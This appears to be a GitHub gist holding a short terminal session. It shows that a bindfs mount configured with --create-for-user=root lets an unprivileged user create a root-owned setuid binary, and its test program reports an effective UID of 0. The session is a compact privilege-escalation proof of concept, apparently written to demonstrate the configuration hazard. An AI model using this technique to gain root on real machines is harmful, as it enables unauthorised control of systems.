Skip to content

Instantly share code, notes, and snippets.

@wjt
Created December 5, 2018 12:56
Show Gist options
  • Select an option

  • Save wjt/49ef0f22fe4d4566eab4ed2d1f2a00bd to your computer and use it in GitHub Desktop.

Select an option

Save wjt/49ef0f22fe4d4566eab4ed2d1f2a00bd to your computer and use it in GitHub Desktop.
$ sudo bindfs --force-user=1000 --create-for-user=root --create-for-group=root /var/tmp/real /var/tmp/fake
$ cat >/var/tmp/fake/rootme.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int
main (int argc, char **argv)
{
printf ("getuid () == %u; geteuid () == %u\n", getuid (), geteuid ());
return 0;
}
$ gcc -o /var/tmp/fake/rootme /var/tmp/fake/rootme.c
$ chmod +s /var/tmp/fake/rootme
$ /var/tmp/real/rootme
getuid () == 1000; geteuid () == 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment